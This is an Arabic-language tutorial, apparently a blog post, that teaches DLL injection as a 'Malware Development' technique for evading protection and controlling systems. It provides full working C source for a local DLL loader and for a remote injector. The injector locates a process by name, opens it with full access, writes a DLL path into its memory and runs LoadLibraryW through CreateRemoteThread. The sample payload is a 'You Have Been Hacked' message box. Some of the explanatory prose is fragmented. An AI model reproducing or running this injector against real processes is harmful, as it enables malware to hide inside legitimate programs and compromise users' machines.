السَّلاَمُ عَلَيْكُمْ وَرَحْمَةُ اللهِ وَبَرَكَاتُهُ
اللَّهُمَّ صَلِّ عَلَى مُحَمَّدٍ وَعَلَى آلِ
مُحَمَّدٍ، كَمَا صَلَّيْتَ عَلَى إِبْرَاهِيمَ وَآلِ
إِبْرَاهِيمَ، إِنَّكَ حَمِيدٌ مَجِيدٌ، وَبَارِكْ عَلَى مُحَمَّدٍ وَعَلَى آلِ مُحَمَّدٍ، كَمَا
بَارَكْتَ عَلَى إِبْرَاهِيمَ وَآلِ إِبْرَاهِيمَ، إِنَّكَ حَمِيدٌ مَجِيدٌ،
✨🌙 هَلَّ هِلالُ الخَيْرِ، فَأسألُ اللهَ أنْ يَملأ قُلوبَكم بالنُّورِ واليقينِ، مُبَارَكٌ عَلَيكُمُ
الشَّهْرُ 🌙✨
[+] فـ عالم الـ Malware Development ، كل مـ بتكون قادر ع تنفيذ الكود بتاعك داخل عمليات تانية
(Processes) ، كل مـ بتزيد فرصتك فـ التهرب من الحماية والتحكم فـ السيستم .. وده اللـ بنسميه Process Injection ، واللـ من أشهر أساليبه
هو DLL Injection.
[+] بس إيه هو DLL Injection بالظبط؟
الفكرة باختصار إنك بتاخد ملف DLL خاص بيك وبتـ Inject الملف ده داخل Process تانية ، بحيث الكود اللـ جوه يتنفذ كأنه جزء من العملية دي .. وده بيديك صلاحيات كتير زي:
[+] وهنتكلم عن نوعين من الـ DLL Injection وهما :
[+] فـ الجزء ده هنتعلم إزاي نصنع ملف DLL .. وكمان نعمل برنامج بحيث يقدر يـ Load ملف الـ DLL ويشغلة ، تعالي نشوف هنعمل إيه :
Right-Click > Properties > C/C++ > Precompiled Headers
وتختار Not Using Precompiled Headers.
DLL_PROCESS_ATTACH :MessageBoxW(NULL, L"You Have Been Hacked HAHAHAHAHAHAHA", L"Hacked", MB_OK | MB_ICONWARNING);
break;
[+] تعالي بقي نعمل البرنامج اللـ هيشغل ملف الـ DLL :
main func .. وهنستخدم عملية من Windows APIs بـ اسم LoadLibraryW ،
وهنضيف جواها إسم ملف الـ DLL اللـ عملناه :
[+] هتـ Build البرجيكت ع الـ Debug .. ويلا نجرب نـ رن :
[+] طيب دلوقتي لو غيرت ملف الـ DLL ، هل لسه هدخل جوا البروجيكت كل مرة وأ Build وبتاع ؟ .. لا حوار .. تعالي نعدل فـ الكود ونزود شوية إضافات :
[+] يلا نـ رن :
Modules .. هتلاقي
ملف الـ DLL اللـ
عملناه موجود بالفعل.
[+] ودا كدا الكود النهائي للـ Local DLL Execution :
#include <Windows.h>
#include <stdio.h>
int main(int argc, char* argv[]) {
if (argc < 2) {
printf("[!] DLL Missing !!!");
return -1;
}
printf("[i] Injecting \"%s\" to the Local Process of PID : %d \n", argv[1], GetCurrentProcessId());
printf("[i] Loading DLL ... \n");
if (LoadLibraryA(argv[1]) == NULL) {
printf("[!] LoadLibraryA Failed With Eroor : %d \n", GetLastError());
return -1;
}
printf("[i] DONE \n");
printf("[i] Press <Enter> to Quit ... ");
getchar();
return 0;
}
[+] دلوقتي بقى خلصنا Local DLL Execution ، وعرفنا إزاي نشغل ملف
DLL جوه
برنامج إحنا اللـ مشغلينه ..
بس السؤال هنا .. إزاي نحط الـ DLL بتاعنا جوه برنامج شغال أصلا؟
[+] هنا بقى بييجي دور Remote DLL Injection
، اللـ هي من أقوى طرق الـ Process Injection ، و الفكره
ببساطة إنك بتاخد ملف DLL ، وبتـ Inject جوه Process شغالة بالفعل ، بحيث الكود بتاعك يشتغل كأنه جزء من
البرنامج ده.
[+] قبل مـ نخش ع الأكواد ، خليني أوضح الفكرة ببساطة .. إحنا عايزين نحقن DLL جوه بروسيس معينه ، بس علشان نعمل كده ، لازم الأول نجيب معلومات عن كل البروسيسيز اللـ شغالة ، وندور ع البروسيس اللـ إحنا مستهدفينها .. طيب إزاي بقي؟
Snapshot لكل العمليات اللـ
شغالة باستخدام CreateToolhelp32Snapshot.Handle عليها باستخدام
OpenProcess.
VirtualAllocEx ، وبعدها بنكتب مسار الـ
DLL فيها
باستخدام WriteProcessMemory.CreateRemoteThread ، واللـ بيخلينا
نستدعي
LoadLibraryW عشان نحمل الـ DLL جوه
البروسيس.
[+] يلا نبدأ نشوف الأكواد:
Step 1 : Get process information
أول حاجة ، هنضيف مكتبة Tlhelp32.h لإن
هنستخدم دوال منها:
#include <Tlhelp32.h>
بعد كده ، هنكريت دالة وظيفتها إنها تلاقي البروسيس المستهدفه وتمسك Handle عليها ، ودي أنا سميتها
GetRemoteProcessHandle ، والدالة دي
بتاخد:
BOOL GetRemoteProcessHandle(LPWSTR szProcessName, DWORD* dwProcessId, HANDLE* hProcess) {
هنستخدم CreateToolhelp32Snapshot ، واللـ
وظيفتها إنها تاخد لقطة من العمليات اللـ شغالة دلوقتي ع
الجهاز ، وترجع Handle نقدر نستخدمه بعدين
، ولو الدالة فشلت في إنها تاخد Snapshot ،
هتطلع Error وتخرج
من الفانكشن .. وتقدر تشوف الـ Documentation بتاعها من
[هنا].
HANDLE hSnapshot = NULL;
hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
if (hSnapshot == INVALID_HANDLE_VALUE) {
printf("[!] CreateToolhelp32Snapshot Failed with Error : %d \n", GetLastError());
goto _EndOfFunction;
}
Step 2 : Search for target process
دلوقتي هنبدأ نعدي ع كل البروسيسيز الموجودة فـ الـ Snapshot ، وندور ع اسم البروسيس اللـ إحنا
مستهدفينها .. وأول بروسيس هنجيبها باستخدام Process32First : وتقدر تشوف الـ
Documentation بتاعها من
[هنا].
PROCESSENTRY32 Proc = { .dwSize = sizeof(PROCESSENTRY32) };
if (!Process32First(hSnapshot, &Proc)) {
printf("[i] Process32First Failed with Error : %d \n", GetLastError());
goto _EndOfFunction;
}
[+] بعد كده احنا عاوزين نعمل لوب تعدي ع كل البروسيسيز ، وناخد معلوماتهم ونحفظها فـ Struct اسمها Proc.
وبعدين ندور ع بروسيس معينه بالاسم بتاعها ، ولو لقيناها ، نجيب الـ Process ID بتاعه ونفتحه بصلاحيات
معينة ، والخطوات للجزء ده كالتالي :
(Proc.szExeFile) وبعد كده بنشوف حجمه (dwSize).
كمان بنجهز Array (LowerName) عشان نحط
فيها الاسم بعد تحويله لحروف صغيرة ، ونمسح أي بيانات قديمة منها
باستخدام ()RtlSecureZeroMemory.
WCHAR LowerName[MAX_PATH * 2];
if (Proc.szExeFile) {
DWORD dwSize = lstrlenW(Proc.szExeFile);
DWORD i = 0;
RtlSecureZeroMemory(LowerName, MAX_PATH * 2);
Lowercase عشان لما نقارن متبقاش عندنا مشاكل
بسبب الفرق بين الحروف
الكبيرة والصغيرة. (MAX_PATH * 2) عشان منواجهش مشاكل.
وبعدين بنمشي حرف حرف ونحوله باستخدام ()tolower ، وفيـالآخر بنضيف '\0' عشان الاسم
يكون بشكل نصي سليم.
if (dwSize < MAX_PATH * 2) {
for (; i < dwSize; i++) {
LowerName[i] = (WCHAR)tolower(Proc.szExeFile[i]);
}
LowerName[i++] = '\0';
}
Lowercase ،
هنقارنه بالاسم اللـ بندور عليه (szProcessName) باستخدام
()wcscmp.PROCESS_ALL_ACCESS. وتقدر تشوف الـ
Documentation بتاعها من [هنا].
if (wcscmp(LowerName, szProcessName) == 0) {
*dwProcessId = Proc.th32ProcessID;
*hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, Proc.th32ProcessID);
if (*hProcess == NULL)
printf("[!] OpenProcess Failed with Error : %d \n", GetLastError());
break;
}()Process32Next لحد ما نخلص كل البروسيسات
أو
نلاقي اللـ بندور عليها ، وتقدر تشوف الـ Documentation بتاعها من [هنا].
} while (Process32Next(hSnapshot, &Proc));[+] آخر جزء فـ الدالة دي هو إننا نقفل الـ Handle اللـ فتحناه باستخدام CloseHandle ، عشان نمنع الـ
Handle Leak :
_EndOfFunction:
if (hSnapshot != NULL)
CloseHandle(hSnapshot);
if (*dwProcessId == NULL || *hProcess == NULL)
return FALSE;
return TRUE;
}Step 3 : Injecting DLL into the targeted process
[+] بعد مـ جبنا الهاندل بتاع البروسيس فـ الدالة اللـ فاتت ، دلوقتي جه وقت إننا نحقن الـ DLL فيها عشان يشتغل جوه البروسيس .. خلينا نشوف الخطوات وحدة وحدة:
BOOL DLLInjectionToRemoteProcess(HANDLE hProcess, LPWSTR DllName) {
BOOL bSTATE = TRUE;
LPVOID pLoadLibraryW = NULL;
LPVOID pAddress = NULL;
DWORD dwSizeToWrite = lstrlenW(DllName) * sizeof(WCHAR);
SIZE_T lpNumberOfBytrsWritten = NULL;
HANDLE hThread = NULL;Bool بنستخدمه
عشان نعرف إذا كانت العملية نجحت ولا لا.LoadLibraryW لما نجيبه بعدين.Thread جديد فـ البروسيس المستهدف
لتشغيل الـ
DLL.LoadLibraryW لأنها المسؤولة
عن تحميل الـ DLL جوه البروسيس ، فبناخد عنوانها باستخدام
GetProcAddress عشان نقدر نشغلها بعدين.
pLoadLibraryW = GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryW");
if (pLoadLibraryW == NULL) {
printf("[!] GetProcAddress Failed with Error : %d \n", GetLastError());
bSTATE = FALSE; goto _EndOfFunction;
}
GetModuleHandle عشان نجيب
kernel32.dll ، وبعدها بنستخدم
GetProcAddress عشان نجيب عنوان
LoadLibraryW.
لو فشلت العملية ، بتطلع Error وتخرج.
VirtualAllocEx.
pAddress = VirtualAllocEx(hProcess, NULL, dwSizeToWrite, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (pAddress == NULL) {
printf("[!] VirtualAllocEx Failed with Error : %d \n", GetLastError());
bSTATE = FALSE; goto _EndOfFunction;
}
VirtualAllocEx عشان نحجز مساحة
تكفي اسم الـ DLL جوه ميموري البروسيس المستهدفه.
ولو فشلت ، بتطلع Error وتخرج.
WriteProcessMemory.
if (!WriteProcessMemory(hProcess, pAddress, DllName, dwSizeToWrite, &lpNumberOfBytrsWritten) || dwSizeToWrite != lpNumberOfBytrsWritten) {
printf("[!] WriteProcessMemory Failed with Error : %d \n", GetLastError());
bSTATE = FALSE; goto _EndOfFunction;
}
WriteProcessMemory عشان نكتب اسم
الـ DLL فـ الميموري اللـ حجزناها.
وبنتأكد إن كل البيانات اتكتبت صح ، ولو فـ مشكلة بتطلع Error وتخرج.
CreateRemoteThread عشان نشغل
LoadLibraryW
اللـ هتقوم بتحميل الـ DLL.
hThread = CreateRemoteThread(hProcess, NULL, NULL, pLoadLibraryW, pAddress, NULL, NULL);
if (hThread == NULL ) {
printf("[!] CreateRemoteThread Failed with Error : %d \n", GetLastError());
bSTATE = FALSE; goto _EndOfFunction;
}
CreateRemoteThread هي اللـ بتشغل LoadLibraryW جوه البروسيس ، وبتاخد كـ
Argument العنوان بتاع
الميموري
اللـ كتبنا فيه اسم الـ DLL.
ولو العملية فشلت ، بتطلع Error وتخرج.
Thread
عشان منسيبش Handle Leak.
_EndOfFunction:
if (hThread)
CloseHandle(hThread);
return bSTATE;
}
Handle Leaks.
Step 4 : Execution and Cleanup
[+] هنبدأ نجهز الـ main function ، واللـ
فيها هنتأكد من استدعاء الدوال اللـ كتبناها قبل كده ، والتأكد
إن كل العمليات ماشية زي الفل.
main لـ wmain عشان تقدر تستوعب الحروف الـ Unicode
أو UTF-16 .. وبعد كدا قبل أي
حاجة
البرنامج بيتأكد إن اليوزر دخل الـ arguments المطلوبة:
int wmain(int argc, wchar_t* argv[]) {
if (argc < 3) {
wprintf(L"[i] Usage : \"%s\" <DLL File or Path> <Process Name> \n", argv[0]);
return -1;
}
wprintf(L"[i] Searching For Process ID of \"%s\" ... ", argv[2]);
if (!GetRemoteProcessHandle(argv[2], &dwProcessId, &hProcess)) {
printf("[!] Process not found. \n");
return -1;
}
if (!DLLInjectionToRemoteProcess(hProcess, argv[1])) {
return -1;
}Handle Leak.
CloseHandle(hProcess);[+] كدا خلصنا شرح الكود .. هتـ Build البروجيكت ع الـ Debug.
[+] يلا نـ رن ونجرب :
Modules
إن الملف بتاعنا بقي موجود :
[+] الكود النهائي :
#include <Windows.h>
#include <stdio.h>
#include <TlHelp32.h>
BOOL GetRemoteProcessHandle(LPWSTR szProcessName, DWORD* dwProcessId, HANDLE* hProcess)
{
HANDLE hSnapshot = NULL;
PROCESSENTRY32 Proc = { .dwSize = sizeof(PROCESSENTRY32) };
hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
if (hSnapshot == INVALID_HANDLE_VALUE) {
printf("[!] CreateToolhelp32Snapshot Failed with Error : %d \n", GetLastError());
goto _EndOfFunction;
}
if (!Process32First(hSnapshot, &Proc)) {
printf("[i] Process32First Failed with Error : %d \n", GetLastError());
goto _EndOfFunction;
}
do {
WCHAR LowerName[MAX_PATH * 2];
if (Proc.szExeFile) {
DWORD dwSize = lstrlenW(Proc.szExeFile);
DWORD i = 0;
RtlSecureZeroMemory(LowerName, MAX_PATH * 2);
if (dwSize < MAX_PATH * 2) {
for (; i < dwSize; i++) {
LowerName[i] = (WCHAR)tolower(Proc.szExeFile[i]);
}
LowerName[i++] = '\0';
}
}
if (wcscmp(LowerName, szProcessName) == 0) {
*dwProcessId = Proc.th32ProcessID;
*hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, Proc.th32ProcessID);
if (*hProcess == NULL)
printf("[!] OpenProcess Failed with Error : %d \n", GetLastError());
break;
}
} while (Process32Next(hSnapshot, &Proc));
_EndOfFunction:
if (hSnapshot != NULL)
CloseHandle(hSnapshot);
if (*dwProcessId == NULL || *hProcess == NULL)
return FALSE;
return TRUE;
}
BOOL DLLInjectionToRemoteProcess(HANDLE hProcess, LPWSTR DllName) {
BOOL bSTATE = TRUE;
LPVOID pLoadLibraryW = NULL;
LPVOID pAddress = NULL;
DWORD dwSizeToWrite = lstrlenW(DllName) * sizeof(WCHAR);
SIZE_T lpNumberOfBytrsWritten = NULL;
HANDLE hThread = NULL;
pLoadLibraryW = GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryW");
if (pLoadLibraryW == NULL) {
printf("[!] GetProcAddress Failed with Error : %d \n", GetLastError());
bSTATE = FALSE; goto _EndOfFunction;
}
pAddress = VirtualAllocEx(hProcess, NULL, dwSizeToWrite, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (pAddress == NULL) {
printf("[!] VirtualAllocEx Failed with Error : %d \n", GetLastError());
bSTATE = FALSE; goto _EndOfFunction;
}
printf("[i] pAddress Allocated at : %d\n", pAddress, dwSizeToWrite);
printf("[i] Press <Enter> to Write ...");
getchar();
if (!WriteProcessMemory(hProcess, pAddress, DllName, dwSizeToWrite, &lpNumberOfBytrsWritten) || dwSizeToWrite != lpNumberOfBytrsWritten) {
printf("[!] WriteProcessMemory Failed with Error : %d \n", GetLastError());
bSTATE = FALSE; goto _EndOfFunction;
}
printf("[i] Successfully Written %d Bytes\n", lpNumberOfBytrsWritten);
printf("[i] Press <Enter> to Run ...");
getchar();
printf("[i] Executing DLL ...\n");
hThread = CreateRemoteThread(hProcess, NULL, NULL, pLoadLibraryW, pAddress, NULL, NULL);
if (hThread == NULL ) {
printf("[!] CreateRemoteThread Failed with Error : %d \n", GetLastError());
bSTATE = FALSE; goto _EndOfFunction;
}
printf("[i] DONE ...\n");
_EndOfFunction:
if (hThread)
CloseHandle(hThread);
return bSTATE;
}
int wmain(int argc, wchar_t* argv[]) {
HANDLE hProcess = NULL;
DWORD dwProcessId = NULL;
if (argc < 3) {
wprintf(L"[i] Usage : \"%s\" <DLL File or Path> <Process Name> \n", argv[0]);
return -1;
}
wprintf(L"[i] Searching For Process ID of \"%s\" ... ", argv[2]);
if (!GetRemoteProcessHandle(argv[2], &dwProcessId, &hProcess)) {
printf("[!] Process not found. \n");
return -1;
}
wprintf(L"[i] DONE \n");
printf("[i] Found Target Process PID : %d \n", dwProcessId);
if (!DLLInjectionToRemoteProcess(hProcess, argv[1])) {
return -1;
}
CloseHandle(hProcess);
printf("[i] Press <ENTER> to Quit ...");
getchar();
return 0;
}وبكدا . أتمني تكون استفدت حاجه .. ونلتقي فـ مقالة قادمة .. ولو عندك أي تعليق ، استفسار ، أي حاجه .. متترددش وكلمني.